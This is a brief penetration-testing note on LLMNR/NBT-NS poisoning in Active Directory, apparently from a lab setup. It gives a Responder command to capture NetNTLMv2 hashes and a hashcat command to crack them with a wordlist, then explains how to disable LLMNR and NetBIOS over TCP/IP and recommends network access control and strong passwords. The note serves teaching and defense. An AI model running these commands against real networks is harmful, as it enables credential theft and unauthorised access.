Active Directory Exploitation - LLMNR/NBT-NS Poisoning

Attack:

1.  Prerequisite: Win10, Win2016,Kali, Active Directory
2. ┌──(root💀kali)-[/usr/share/responder]
   └─# python3 Responder.py -I eth0 -rdwv 
3. hashcat -m 5600 hashes.txt rockyou.txt

Defenses

1. The best defense in this case is to disable LLMNR and NBT-NS.
1. To disable LLMNR, select "Turn OFF Multicast Name Resolution" under Local Group Policy > Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNS Client.
2. To disable NBT-NS, navigate to Network Connections > Network Adapter Properties > TCP/IPv4 Properties > Advanced TAB > WINS tab and select "Disable NetBIOS over TCP/IP".
2. If a company must use or cannot disable LLMNR/NBT-NS, the best course of actions is to:
1. Require Network Access Control. If an attacker cannot get onto the network, the attacker cannot be perfomed.
2. Require strong user password (e.g., > 12 characters in length and limit common word usage). The more complex the password, the harder it is for an attacker to crack the hash.